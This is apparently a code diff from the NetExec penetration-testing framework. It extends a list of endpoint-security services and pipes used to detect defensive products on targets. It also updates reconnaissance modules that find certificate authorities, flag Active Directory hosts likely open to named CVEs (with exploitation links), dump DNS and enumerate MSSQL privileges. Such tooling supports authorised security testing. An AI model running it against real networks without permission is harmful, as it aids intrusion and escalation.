{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"services": [
|
||||
@@ -313,6 +335,11 @@ conf = {
|
||||
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Rapid7",
|
||||
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
@@ -326,15 +353,6 @@ conf = {
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
@@ -355,6 +373,15 @@ conf = {
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Trellix Endpoint Detection and Response (EDR)",
|
||||
"services": [
|
||||
@@ -365,7 +392,7 @@ conf = {
|
||||
{"name": "masvc", "description": "Trellix Agent Service"},
|
||||
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
|
||||
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
|
||||
],
|
||||
"pipes": [
|
||||
@@ -384,7 +411,10 @@ conf = {
|
||||
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
|
||||
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
|
||||
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
|
||||
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
|
||||
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
|
||||
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
|
||||
@@ -394,6 +424,13 @@ conf = {
|
||||
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Wazuh",
|
||||
"services": [
|
||||
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
@@ -402,6 +439,21 @@ conf = {
|
||||
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "WithSecure Elements",
|
||||
"services": [
|
||||
{"name": "fsdevcon", "description": "WithSecure Device Control"},
|
||||
{"name": "fshoster", "description": "WithSecure Hoster"},
|
||||
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
|
||||
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
|
||||
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
|
||||
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
|
||||
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
+24
-8
@@ -6,6 +6,9 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -23,16 +26,15 @@ class NXCModule:
|
||||
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__username = connection.username
|
||||
@@ -61,15 +63,25 @@ class NXCModule:
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.__port)
|
||||
elif self.__port in [443]:
|
||||
elif self.__port == 443:
|
||||
# Setting credentials only for RPC Proxy, but not for the MSRPC level
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_auth_type(AUTH_NTLM)
|
||||
else:
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
dce = None
|
||||
try:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
if int(self.__port) == 135:
|
||||
rpc = NXCRPCConnection(connection, force_tcp=True)
|
||||
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
|
||||
dce = rpc.rpc_transport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
entries = list(epm.hept_lookup(None, dce=dce))
|
||||
else:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
@@ -80,13 +92,17 @@ class NXCModule:
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
return
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
|
||||
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
|
||||
context.log.debug("EXEs %s" % exename)
|
||||
context.log.debug(f"EXEs {exename}")
|
||||
if exename == "certsrv.exe":
|
||||
context.log.highlight("Active Directory Certificate Services Found.")
|
||||
url = f"http://{connection.host}/certsrv/certfnsh.asp"
|
||||
|
||||
@@ -0,0 +1,224 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.nmb import NetBIOSError
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Initial module by: Mauriceter
|
||||
Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
|
||||
"""
|
||||
name = "enum_cve"
|
||||
description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
context = context
|
||||
self.module_options = module_options
|
||||
self.cve = "all"
|
||||
self.exploitation_details = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
|
||||
and do not check for the actual presence of the vulnerable components or mitigations.
|
||||
Test the attack yourself to verify the host is actually vulnerable.
|
||||
|
||||
Currently supported CVEs:
|
||||
- CVE-2025-33073 (NTLM Reflection)
|
||||
- CVE-2025-58726 (Ghost SPN)
|
||||
- CVE-2025-54918 (NTLM MIC Bypass)
|
||||
- CVE-2025-53779 (BadSuccessor)
|
||||
- CVE-2024-49019 (EKUwu / ESC15)
|
||||
- CVE-2026-54121 (Certighost)
|
||||
- CVE-2026-27912 (ResetNightmare)
|
||||
|
||||
CVE Filter for specific CVE number (default: All)
|
||||
EXPLOITATION Also provide sources for exploitation details (default: False)
|
||||
"""
|
||||
self.listener = None
|
||||
if "CVE" in module_options:
|
||||
self.cve = module_options["CVE"].lower()
|
||||
if "EXPLOITATION" in module_options:
|
||||
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def is_vulnerable(self, major, minor, build, ubr, msrc):
|
||||
key = (major, minor, build)
|
||||
min_patched_ubr = msrc.get(key)
|
||||
if min_patched_ubr is None:
|
||||
return None # Unknown product
|
||||
if ubr is None:
|
||||
return None
|
||||
return ubr < min_patched_ubr
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.trigger_winreg()
|
||||
|
||||
try:
|
||||
# Connect to RemoteRegistry to read UBR from registry
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
# Reading UBR from registry
|
||||
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
|
||||
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
|
||||
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
|
||||
dce.disconnect()
|
||||
if not ubr:
|
||||
context.log.info("Could not determine OS version from registry")
|
||||
return
|
||||
else:
|
||||
context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
|
||||
except DCERPCException as e:
|
||||
context.log.fail(f"DCERPC error: {e}")
|
||||
return
|
||||
except SessionError as e:
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
context.log.info(f"RemoteRegistry is probably deactivated: {e}")
|
||||
else:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
|
||||
context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
|
||||
return
|
||||
|
||||
# Check each CVE
|
||||
for cve in self.CVE_PATCHES:
|
||||
if self.cve == "all" or self.cve.lower() == cve.lower():
|
||||
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
|
||||
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
|
||||
continue
|
||||
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
|
||||
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
|
||||
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
|
||||
else:
|
||||
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
|
||||
if self.exploitation_details:
|
||||
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
|
||||
else:
|
||||
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
|
||||
|
||||
# patches: key = (major, minor, build), value = minimum patched UBR
|
||||
CVE_PATCHES = {
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
|
||||
"CVE-2025-33073": {
|
||||
"alias": "NTLM reflection",
|
||||
"patches": {
|
||||
(10, 0, 10240): 21034, # Windows 10 1507
|
||||
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
|
||||
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 5965, # Windows 10 21H2
|
||||
(10, 0, 20348): 3807, # Windows Server 2022
|
||||
(10, 0, 22621): 5472, # Windows 11 22H2
|
||||
(10, 0, 25398): 1665, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Relay possible from SMB to any protocol",
|
||||
"signing_message": "can relay SMB to other protocols except SMB",
|
||||
"exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
|
||||
"CVE-2025-58726": {
|
||||
"alias": "Ghost SPN",
|
||||
"patches": {
|
||||
(6, 0, 6003): 23571, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27974, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25722, # Windows Server 2012
|
||||
(6, 3, 9600): 22824, # Windows Server 2012 R2
|
||||
(10, 0, 10240): 21161, # Windows 10 1507
|
||||
(10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607
|
||||
(10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 6456, # Windows 10 21H2
|
||||
(10, 0, 20348): 4294, # Windows Server 2022
|
||||
(10, 0, 22621): 6060, # Windows 11 22H2
|
||||
(10, 0, 25398): 1913, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2
|
||||
(10, 0, 26200): 6899, # Windows 11 25H2
|
||||
},
|
||||
"message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
|
||||
"signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
|
||||
"exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
|
||||
},
|
||||
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
|
||||
# https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
|
||||
"CVE-2025-54918": {
|
||||
"alias": "NTLM MIC Bypass",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 0, 6003): 23529, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27929, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25675, # Windows Server 2012
|
||||
(6, 3, 9600): 22774, # Windows Server 2012 R2
|
||||
(10, 0, 10240): 21128, # Windows 10 1507
|
||||
(10, 0, 14393): 8422, # Windows Server 2016
|
||||
(10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 6332, # Windows 10 21H2
|
||||
(10, 0, 20348): 4171, # Windows Server 2022
|
||||
(10, 0, 22621): 5909, # Windows 11 22H2
|
||||
(10, 0, 22631): 5909, # Windows 11 23H2
|
||||
(10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
|
||||
"exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
|
||||
"CVE-2025-53779": {
|
||||
"alias": "BadSuccessor",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
|
||||
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
|
||||
"CVE-2024-49019": {
|
||||
"alias": "ESC15 / EKUwu",
|
||||
"patches": {
|
||||
(6, 0, 6003): 22966, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25165, # Windows Server 2012
|
||||
(6, 3, 9600): 22267, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 7515, # Windows Server 2016
|
||||
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 20348): 2849, # Windows Server 2022
|
||||
(10, 0, 25398): 1251, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
|
||||
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
|
||||
"CVE-2026-54121": {
|
||||
"alias": "Certighost",
|
||||
"patches": {
|
||||
(6, 2, 9200): 26226, # Windows Server 2012
|
||||
(6, 3, 9600): 23291, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9339, # Windows Server 2016
|
||||
(10, 0, 17763): 9020, # Windows Server 2019
|
||||
(10, 0, 20348): 5386, # Windows Server 2022
|
||||
(10, 0, 26100): 33158, # Windows Server 2025
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
|
||||
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
|
||||
"CVE-2026-27912": {
|
||||
"alias": "ResetNightmare",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 2, 9200): 26026, # Windows Server 2012
|
||||
(6, 3, 9600): 23132, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9060, # Windows Server 2016
|
||||
(10, 0, 17763): 8644, # Windows Server 2019
|
||||
(10, 0, 20348): 5020, # Windows Server 2022
|
||||
(10, 0, 25398): 2274, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 32690, # Windows Server 2025
|
||||
},
|
||||
"message": "Password reset of any account possible via Kerberos change password abuse",
|
||||
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
|
||||
},
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,8 +13,7 @@ class NXCModule:
|
||||
name = "enum_dns"
|
||||
description = "Uses WMI to dump DNS from an AD DNS Server"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -28,16 +29,16 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.domains:
|
||||
domains = []
|
||||
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
|
||||
output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
|
||||
domains = [result["Name"]["value"] for result in output] if output else []
|
||||
context.log.success(f"Domains retrieved: {domains}")
|
||||
else:
|
||||
domains = [self.domains]
|
||||
data = ""
|
||||
|
||||
|
||||
for domain in domains:
|
||||
output = connection.wmi(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
|
||||
output = connection.wmi_query(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'",
|
||||
"root\\microsoftdns",
|
||||
)
|
||||
|
||||
@@ -50,7 +51,7 @@ class NXCModule:
|
||||
rname = text.split(" ")[0]
|
||||
rtype = text.split(" ")[2]
|
||||
rvalue = " ".join(text.split(" ")[3:])
|
||||
if domain_data.get(rtype, False):
|
||||
if domain_data.get(rtype):
|
||||
domain_data[rtype].append(f"{rname}: {rvalue}")
|
||||
else:
|
||||
domain_data[rtype] = [f"{rname}: {rvalue}"]
|
||||
@@ -64,4 +65,4 @@ class NXCModule:
|
||||
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server users with impersonation rights
|
||||
@@ -7,8 +10,7 @@ class NXCModule:
|
||||
name = "enum_impersonate"
|
||||
description = "Enumerate users with impersonation privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -42,5 +44,6 @@ class NXCModule:
|
||||
"""
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [user["name"] for user in res] if res else []
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import contextlib
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
|
||||
Formerly --interfaces parameter
|
||||
Made by: @Sant0rryu, @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "enum_interfaces"
|
||||
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = {}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Execute network interface enumeration on authenticated SMB connection"""
|
||||
self.context = context
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
|
||||
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
|
||||
|
||||
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
|
||||
for sub_key in sub_keys:
|
||||
interface = {}
|
||||
try:
|
||||
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
|
||||
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
|
||||
|
||||
# Retrieve Interace Name
|
||||
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
|
||||
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
|
||||
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
|
||||
interface["Name"] = str(interface_name)
|
||||
if "Kernel" in interface_name:
|
||||
continue
|
||||
|
||||
# Retrieve DHCP
|
||||
try:
|
||||
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
|
||||
except DCERPCException:
|
||||
dhcp_enabled = False
|
||||
interface["DHCP"] = bool(dhcp_enabled)
|
||||
|
||||
# Retrieve IPAddress
|
||||
try:
|
||||
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
ip_address = None
|
||||
interface["IPAddress"] = ip_address if ip_address else None
|
||||
|
||||
# Retrieve SubnetMask
|
||||
try:
|
||||
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
subnetmask = None
|
||||
interface["SubnetMask"] = subnetmask if subnetmask else None
|
||||
|
||||
# Retrieve DefaultGateway
|
||||
try:
|
||||
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
default_gateway = None
|
||||
interface["DefaultGateway"] = default_gateway if default_gateway else None
|
||||
|
||||
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
|
||||
|
||||
except DCERPCException as e:
|
||||
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
remoteOps.finish()
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"Failed to connect to the target: {e!s}")
|
||||
+15
-13
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server linked servers
|
||||
@@ -7,8 +10,7 @@ class NXCModule:
|
||||
name = "enum_links"
|
||||
description = "Enumerate linked SQL Servers and their login configurations."
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -28,17 +30,17 @@ class NXCModule:
|
||||
else:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
self.context.log.success("Linked servers found:")
|
||||
for srv in srvs:
|
||||
self.context.log.display(f"Linked server: {srv['Linked Server']}")
|
||||
self.context.log.display(f" - Local login: {srv['Local Login']}")
|
||||
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
|
||||
if connection.admin_privs:
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] is not None]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
self.context.log.success("Linked servers found:")
|
||||
for srv in srvs:
|
||||
self.context.log.display(f"Linked server: {srv['Linked Server']}")
|
||||
self.context.log.display(f" - Local login: {srv['Local Login']}")
|
||||
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
|
||||
|
||||
def get_linked_servers(self) -> list:
|
||||
"""
|
||||
|
||||
+64
-17
@@ -1,14 +1,16 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server logins
|
||||
Module by deathflamingo
|
||||
